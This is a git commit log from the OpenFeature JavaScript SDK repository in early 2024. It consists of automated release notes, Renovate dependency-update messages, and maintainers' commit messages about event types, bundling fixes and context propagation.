### 🧹 Chore

* **main:** release core 1.0.0
([#869](https://github.com/open-feature/js-sdk/issues/869))
([4191a02](4191a02dbc))


### 📚 Documentation

* fixed feature table formatting
([84a26db](84a26db427))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-12 14:58:15 -04:00
OpenFeature Bot 4191a02dbc
chore(main): release core 1.0.0 (#869)
🤖 I have created a release *beep* *boop*
---


##
[1.0.0](https://github.com/open-feature/js-sdk/compare/core-v0.0.28...core-v1.0.0)
(2024-03-12)


### 🧹 Chore

* release core as 1.0.0
([d06b285](d06b285cc3))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-03-12 14:55:15 -04:00
Todd Baert d06b285cc3 chore: release core as 1.0.0
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-12 14:52:54 -04:00
Michael Beemer 9d638038c0
docs: fix invalid link fragment
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-03-11 15:49:34 -04:00
Michael Beemer fd0fcfcfc8
docs: remove duplicate npm install section
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-03-11 15:47:17 -04:00
Michael Beemer 84a26db427
docs: fixed feature table formatting
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-03-11 15:46:25 -04:00
Michael Beemer 9e0e368d23
docs: remove emojis from react readme
Removed emojis because they caused issues when included in the docs.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-03-11 15:42:03 -04:00
renovate[bot] 3546ba5e11
chore(deps): update dependency eslint-plugin-jsdoc to v48.2.0 (#833)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`48.1.0` ->
`48.2.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/48.1.0/48.2.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/48.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/48.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/48.1.0/48.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/48.1.0/48.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v48.2.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.1.0...v48.2.0)

##### Features

- **check-param-names:** Add `disableMissingParamChecks` option
([#&#8203;1206](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1206))
([ba642e4](ba642e4d1a))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMTIuMCIsInVwZGF0ZWRJblZlciI6IjM3LjIxMi4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-03-07 14:24:49 +00:00
renovate[bot] a1ecb61f44
chore(deps): update dependency typedoc to v0.25.10 (#856)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [typedoc](https://typedoc.org)
([source](https://togithub.com/TypeStrong/TypeDoc)) | [`0.25.9` ->
`0.25.10`](https://renovatebot.com/diffs/npm/typedoc/0.25.9/0.25.10) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.25.10?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.25.10?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.25.9/0.25.10?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.25.9/0.25.10?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

###
[`v0.25.10`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v02510-2024-03-03)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.9...v0.25.10)

##### Bug Fixes

- Constructed references to enum types will be properly linked with
`@interface`,
[#&#8203;2508](https://togithub.com/TypeStrong/TypeDoc/issues/2508).
- Comments on property-methods will no longer be duplicated in generated
documentation,
[#&#8203;2509](https://togithub.com/TypeStrong/TypeDoc/issues/2509).
- Reduced rendered docs size by writing icons to a referenced SVG asset,
[#&#8203;2505](https://togithub.com/TypeStrong/TypeDoc/issues/2505).
For TypeDoc's docs, this reduced the rendered documentation size by
~30%.
- The HTML docs now attempt to reduce repaints caused by dynamically
loading the navigation,
[#&#8203;2491](https://togithub.com/TypeStrong/TypeDoc/issues/2491).
- When navigating to a link that contains an anchor, the page will now
be properly highlighted in the page navigation.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMjcuMiIsInVwZGF0ZWRJblZlciI6IjM3LjIyNy4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-03-07 14:24:34 +00:00
OpenFeature Bot 97a34b630e
chore(main): release nestjs-sdk 0.1.2-experimental (#854)
🤖 I have created a release *beep* *boop*
---


##
[0.1.2-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.1-experimental...nestjs-sdk-v0.1.2-experimental)
(2024-03-06)


### 🐛 Bug Fixes

* **types:** conflicts with peer types
([#852](https://github.com/open-feature/js-sdk/issues/852))
([fdc8576](fdc8576f47))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-06 12:01:40 -05:00
OpenFeature Bot 29a66b31f7
chore(main): release react-sdk 0.2.2-experimental (#855)
🤖 I have created a release *beep* *boop*
---


##
[0.2.2-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.1-experimental...react-sdk-v0.2.2-experimental)
(2024-03-06)


### 🐛 Bug Fixes

* **types:** conflicts with peer types
([#852](https://github.com/open-feature/js-sdk/issues/852))
([fdc8576](fdc8576f47))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-06 11:54:55 -05:00
Todd Baert fdc8576f47
fix(types): conflicts with peer types (#852)
With our recent changes in bundling, there's a new problem with the
framework-specific SDKs (react + nestjs). These have peers, and the
external function was bundling those peers as well, which can cause tsc
errors due to conflicts. This change prevents us from bundling any peers
(which is what we want, so we avoid conflicts with the consumers
installed peers).

This has no runtime impact, and there was no changes to core, web, or
server SDK dists. See image below for the difference in the react SDK
(notice peers are now IMPORTED):


![image](https://github.com/open-feature/js-sdk/assets/25272906/0bdd16d6-d1c0-4118-9bf4-93659c164090)

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-06 16:44:51 +00:00
renovate[bot] 0a12a5edd3
chore(deps): update dependency eslint to v8.57.0 (#835)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://togithub.com/eslint/eslint)) | [`8.56.0` ->
`8.57.0`](https://renovatebot.com/diffs/npm/eslint/8.56.0/8.57.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/8.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint/8.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint/8.56.0/8.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/8.56.0/8.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

### [`v8.57.0`](https://togithub.com/eslint/eslint/releases/tag/v8.57.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.56.0...v8.57.0)

#### Features

-
[`1120b9b`](1120b9b7b9)
feat: Add loadESLint() API method for v8
([#&#8203;18098](https://togithub.com/eslint/eslint/issues/18098))
(Nicholas C. Zakas)
-
[`dca7d0f`](dca7d0f1c2)
feat: Enable `eslint.config.mjs` and `eslint.config.cjs`
([#&#8203;18066](https://togithub.com/eslint/eslint/issues/18066))
(Nitin Kumar)

#### Bug Fixes

-
[`2196d97`](2196d97094)
fix: handle absolute file paths in `FlatRuleTester`
([#&#8203;18064](https://togithub.com/eslint/eslint/issues/18064))
(Nitin Kumar)
-
[`69dd1d1`](69dd1d1387)
fix: Ensure config keys are printed for config errors
([#&#8203;18067](https://togithub.com/eslint/eslint/issues/18067))
(Nitin Kumar)
-
[`9852a31`](9852a31edc)
fix: deep merge behavior in flat config
([#&#8203;18065](https://togithub.com/eslint/eslint/issues/18065))
(Nitin Kumar)
-
[`4c7e9b0`](4c7e9b0b53)
fix: allow circular references in config
([#&#8203;18056](https://togithub.com/eslint/eslint/issues/18056))
(Milos Djermanovic)

#### Documentation

-
[`84922d0`](84922d0bfa)
docs: Show prerelease version in dropdown
([#&#8203;18139](https://togithub.com/eslint/eslint/issues/18139))
(Nicholas C. Zakas)
-
[`5b8c363`](5b8c3636a3)
docs: Switch to Ethical Ads
([#&#8203;18117](https://togithub.com/eslint/eslint/issues/18117))
(Milos Djermanovic)
-
[`77dbfd9`](77dbfd9887)
docs: show NEXT in version selectors
([#&#8203;18052](https://togithub.com/eslint/eslint/issues/18052))
(Milos Djermanovic)

#### Chores

-
[`1813aec`](1813aecc46)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).57.0
([#&#8203;18143](https://togithub.com/eslint/eslint/issues/18143))
(Milos Djermanovic)
-
[`5c356bb`](5c356bb0c6)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (Jenkins)
-
[`f4a1fe2`](f4a1fe2e45)
test: add more tests for ignoring files and directories
([#&#8203;18068](https://togithub.com/eslint/eslint/issues/18068))
(Nitin Kumar)
-
[`42c0aef`](42c0aefaf6)
ci: Enable CI for `v8.x` branch
([#&#8203;18047](https://togithub.com/eslint/eslint/issues/18047))
(Milos Djermanovic)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMTIuMCIsInVwZGF0ZWRJblZlciI6IjM3LjIxMi4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-03-06 10:35:04 -05:00
renovate[bot] a89e7ba955
chore(deps): update dependency typedoc to v0.25.9 (#838)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [typedoc](https://typedoc.org)
([source](https://togithub.com/TypeStrong/TypeDoc)) | [`0.25.8` ->
`0.25.9`](https://renovatebot.com/diffs/npm/typedoc/0.25.8/0.25.9) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.25.9?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.25.9?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.25.8/0.25.9?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.25.8/0.25.9?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

###
[`v0.25.9`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0259-2024-02-26)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.8...v0.25.9)

##### Features

- Literal numeric unions will now be sorted during conversion,
[#&#8203;2502](https://togithub.com/TypeStrong/TypeDoc/issues/2502).

##### Bug Fixes

- Module readmes will now be included in JSON output,
[#&#8203;2500](https://togithub.com/TypeStrong/TypeDoc/issues/2500).
- Fixed crash when `--excludeNotDocumented` was used and the project
contained a reference to a removed signature,
[#&#8203;2496](https://togithub.com/TypeStrong/TypeDoc/issues/2496).
- Fixed crash when converting an infinitely recursive type via a new
`--maxTypeConversionDepth` option,
[#&#8203;2507](https://togithub.com/TypeStrong/TypeDoc/issues/2507).
- Type links in "Parameters" and "Type Parameters" sections of the page
will now be correctly colored.

##### Thanks!

-   [@&#8203;JMBeresford](https://togithub.com/JMBeresford)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMTIuMCIsInVwZGF0ZWRJblZlciI6IjM3LjIxMi4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-03-06 09:26:49 -05:00
OpenFeature Bot ac42a7e48e
chore(main): release server-sdk 1.13.1 (#851)
🤖 I have created a release *beep* *boop*
---


##
[1.13.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.13.0...server-sdk-v1.13.1)
(2024-03-05)


### 🧹 Chore

* **main:** release core 0.0.28
([#849](https://github.com/open-feature/js-sdk/issues/849))
([31b92a9](31b92a97c1))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-05 18:09:14 -05:00
OpenFeature Bot 42decdb418
chore(main): release web-sdk 0.4.15 (#850)
🤖 I have created a release *beep* *boop*
---


##
[0.4.15](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.14...web-sdk-v0.4.15)
(2024-03-05)


###  New Features

* use EvenEmitter3 for web-sdk
([#847](https://github.com/open-feature/js-sdk/issues/847))
([861cf83](861cf83782))


### 🧹 Chore

* **main:** release core 0.0.28
([#849](https://github.com/open-feature/js-sdk/issues/849))
([31b92a9](31b92a97c1))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-05 18:04:51 -05:00
OpenFeature Bot 31b92a97c1
chore(main): release core 0.0.28 (#849)
🤖 I have created a release *beep* *boop*
---


##
[0.0.28](https://github.com/open-feature/js-sdk/compare/core-v0.0.27...core-v0.0.28)
(2024-03-05)


###  New Features

* use EvenEmitter3 for web-sdk
([#847](https://github.com/open-feature/js-sdk/issues/847))
([861cf83](861cf83782))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-03-05 18:02:04 -05:00
Lukas Reining 861cf83782
feat: use EvenEmitter3 for web-sdk (#847)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Fixes an issue where the `events` node polyfill does not comply to the
`node:events` types.
When trying to use the web OpenFeatureEventEmitter the following error
message comes up, describing that the `events` polyfill's EventEmitter
is incompatible to `node:events` EventEmitter.

```
✘ [ERROR] TS2416: Property 'eventEmitter' in type 'OpenFeatureEventEmitter' is not assignable to the same property in base type 'GenericEventEmitter<ProviderEmittableEvents, Record<string, unknown>>'.
  Type 'EventEmitter' is not assignable to type 'PlatformEventEmitter'.
    Types of property 'addListener' are incompatible.
      Type '(type: string | number, listener: Listener) => EventEmitter' is not assignable to type '(eventName: string | symbol, listener: (...args: any[]) => void) => PlatformEventEmitter'.
        Types of parameters 'type' and 'eventName' are incompatible.
          Type 'string | symbol' is not assignable to type 'string | number'.
            Type 'symbol' is not assignable to type 'string | number'.
```

This PR fixes that issue by not using the `events` anymore and instead
using https://www.npmjs.com/package/eventemitter3

cc @toddbaert 

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #845

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-05 22:45:49 +00:00
OpenFeature Bot 1461074f20
chore(main): release react-sdk 0.2.1-experimental (#843)
🤖 I have created a release *beep* *boop*
---


##
[0.2.1-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.0-experimental...react-sdk-v0.2.1-experimental)
(2024-03-05)


###  New Features

* maintain state in SDK, add RECONCILING
([#795](https://github.com/open-feature/js-sdk/issues/795))
([cfb0a69](cfb0a69c42))
* suspend on RECONCILING, mem provider fixes
([#796](https://github.com/open-feature/js-sdk/issues/796))
([8101ff1](8101ff197f))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-05 16:42:48 -05:00
OpenFeature Bot a37a33cbf0
chore(main): release nestjs-sdk 0.1.1-experimental (#842)
🤖 I have created a release *beep* *boop*
---


##
[0.1.1-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.0-experimental...nestjs-sdk-v0.1.1-experimental)
(2024-03-05)


###  New Features

* context propagation
([#837](https://github.com/open-feature/js-sdk/issues/837))
([b1abef1](b1abef1a2b))
* maintain state in SDK, add RECONCILING
([#795](https://github.com/open-feature/js-sdk/issues/795))
([cfb0a69](cfb0a69c42))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-05 19:21:06 +00:00
OpenFeature Bot 21f72b98be
chore(main): release web-sdk 0.4.14 (#840)
🤖 I have created a release *beep* *boop*
---


##
[0.4.14](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.13...web-sdk-v0.4.14)
(2024-03-05)


###  New Features

* maintain state in SDK, add RECONCILING
([#795](https://github.com/open-feature/js-sdk/issues/795))
([cfb0a69](cfb0a69c42))
* suspend on RECONCILING, mem provider fixes
([#796](https://github.com/open-feature/js-sdk/issues/796))
([8101ff1](8101ff197f))


### 🐛 Bug Fixes

* allow iteration over all event types
([#844](https://github.com/open-feature/js-sdk/issues/844))
([411c7b4](411c7b4265))
* correct rollup to bundle all but core
([#846](https://github.com/open-feature/js-sdk/issues/846))
([f451e25](f451e255bf))


### 🧹 Chore

* **main:** release core 0.0.27
([#839](https://github.com/open-feature/js-sdk/issues/839))
([ccbb1f9](ccbb1f9c97))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-05 19:20:39 +00:00
OpenFeature Bot b3d7f37203
chore(main): release server-sdk 1.13.0 (#841)
🤖 I have created a release *beep* *boop*
---


##
[1.13.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.12.0...server-sdk-v1.13.0)
(2024-03-05)


###  New Features

* context propagation
([#837](https://github.com/open-feature/js-sdk/issues/837))
([b1abef1](b1abef1a2b))
* maintain state in SDK, add RECONCILING
([#795](https://github.com/open-feature/js-sdk/issues/795))
([cfb0a69](cfb0a69c42))


### 🐛 Bug Fixes

* allow iteration over all event types
([#844](https://github.com/open-feature/js-sdk/issues/844))
([411c7b4](411c7b4265))
* correct rollup to bundle all but core
([#846](https://github.com/open-feature/js-sdk/issues/846))
([f451e25](f451e255bf))


### 🧹 Chore

* **main:** release core 0.0.27
([#839](https://github.com/open-feature/js-sdk/issues/839))
([ccbb1f9](ccbb1f9c97))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-05 19:16:16 +00:00
OpenFeature Bot ccbb1f9c97
chore(main): release core 0.0.27 (#839)
🤖 I have created a release *beep* *boop*
---


##
[0.0.27](https://github.com/open-feature/js-sdk/compare/core-v0.0.26...core-v0.0.27)
(2024-03-05)


###  New Features

* maintain state in SDK, add RECONCILING
([#795](https://github.com/open-feature/js-sdk/issues/795))
([cfb0a69](cfb0a69c42))


### 🐛 Bug Fixes

* allow iteration over all event types
([#844](https://github.com/open-feature/js-sdk/issues/844))
([411c7b4](411c7b4265))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-05 19:10:25 +00:00
Todd Baert f451e255bf
fix: correct rollup to bundle all but core (#846)
My rollup config was invalid, but clumsily working until a recent change
in how we defined the event emitter type. The impact was the the bundled
types for the web imported `from 'events'` instead of bundling it.

This PR fixes the mis-configuration (see comments).

Here is a screenshot showing the bundled types in the dist now (notice
the import is gone and the emitter is in-lined, no other changes are
present):


![image](https://github.com/open-feature/js-sdk/assets/25272906/8728911d-7c72-4d53-8dc2-d748837a616e)

In server, this type is available from node, so we DON'T need to bundle
it, and in fact, SHOULD import it. This is easily done by importing it
like `from 'node:events'`. I don't think it would be a problem if we
bundled it anyway, but this is more correct.

Fixes: https://github.com/open-feature/js-sdk/issues/845

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-05 19:05:39 +00:00
Lukas Reining b1abef1a2b
feat: context propagation (#837)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- removes experimental warning from context propagation js-docs
- improves typing of `setTransactionContext`
- adds `AsyncLocalStorageTransactionContextProvider` to server SDK
  - @beeme1mr @toddbaert I am not 100% sure on this one. 
To me it makes much sense to add this to the server SDK as it uses the
Node default way `async_hooks`/`async_local_storage` which is part of
Node since Node 16.x. I expect almost every project using the feature,
to build exactly this so I wanted to include it in the SDK.
As we are using Node types anyways I do not see a problem here, but
still we could leave this out as it couples the implementation closer to
Node.

Before merging I will have to change the README.

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-03-05 15:27:57 +00:00
Todd Baert 8101ff197f
feat: suspend on RECONCILING, mem provider fixes (#796)
This PR adds "suspend on reconciling" to the React SDK, in a manner
[consistent with this
spec](https://openfeature.dev/specification/sections/events#event-handlers-and-context-reconciliation).

When the SDK emits a PROVIDER_RECONCILING event, loaders are displayed
until the CONTEXT_CHANGED event is emitted.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-01 21:49:48 +00:00
Todd Baert 411c7b4265
fix: allow iteration over all event types (#844)
This is an addendum to https://github.com/open-feature/js-sdk/pull/816.

Since the `addHandler` overloads for the event types
(`ProviderEvents.ConfigurationChanged` and `NotChangeEvents`) are
mutually exclusive, it was impossible to iterate over them and pass the
same function...

I had to add one more "base" overload that tolerated both. This doesn't
reduce any of the nice type safety added in
https://github.com/open-feature/js-sdk/pull/816, but allows users to
iterate over `ProviderEvents` collections as seen in the new tests.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-01 16:28:52 -05:00
Todd Baert 33508f15d7
fix: improve event handler types (#816)
Before this change the `flagsChanged` prop on `EventDetails` was of type
unknown for all event types, and a cast was needed.

After this change, `flagsChanged` is ONLY defined on
`ProviderEvents.ConfigurationChanged`, where it should be, as (`string[]
| undefined`) . In other words:

```typescript
client.addHandler(ProviderEvents.Ready, (details) => {
  expect(details?.flagsChanged?.length).toEqual(1);  // does not compile
});
```

```typescript
client.addHandler(ProviderEvents.ConfigurationChanged, (details) => {
  expect(details?.flagsChanged?.length).toEqual(1);  // DOES compile
});
```

Additionally, `flagsChanged` does not autocomplete for events handlers
other than `ProviderEvents.ConfigurationChanged`.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-01 17:41:36 +00:00
Todd Baert cfb0a69c42
feat: maintain state in SDK, add RECONCILING (#795)
Implements the newest spec changes
[here](https://github.com/open-feature/spec/pull/241).

- Provider state is deprecated (state is now maintained in the SDK
itself). This is non-breaking, we just ignore the provider's own state
now
- add RECONCILING events and state, fire related events with provider's
`on context change`
- add FATAL state

The new tests should help you understand the impact of the changes.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-01 14:09:09 +00:00
OpenFeature Bot 016908cd08
chore(main): release react-sdk 0.2.0-experimental (#836)
🤖 I have created a release *beep* *boop*
---


##
[0.2.0-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.1.1-experimental...react-sdk-v0.2.0-experimental)
(2024-02-27)


### ⚠ BREAKING CHANGES

* use "domain" instead of "clientName"
([#826](https://github.com/open-feature/js-sdk/issues/826))

###  New Features

* use "domain" instead of "clientName"
([#826](https://github.com/open-feature/js-sdk/issues/826))
([427ba88](427ba883f5))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-02-27 13:21:36 +00:00
Michael Beemer 427ba883f5
feat!: use "domain" instead of "clientName" (#826)
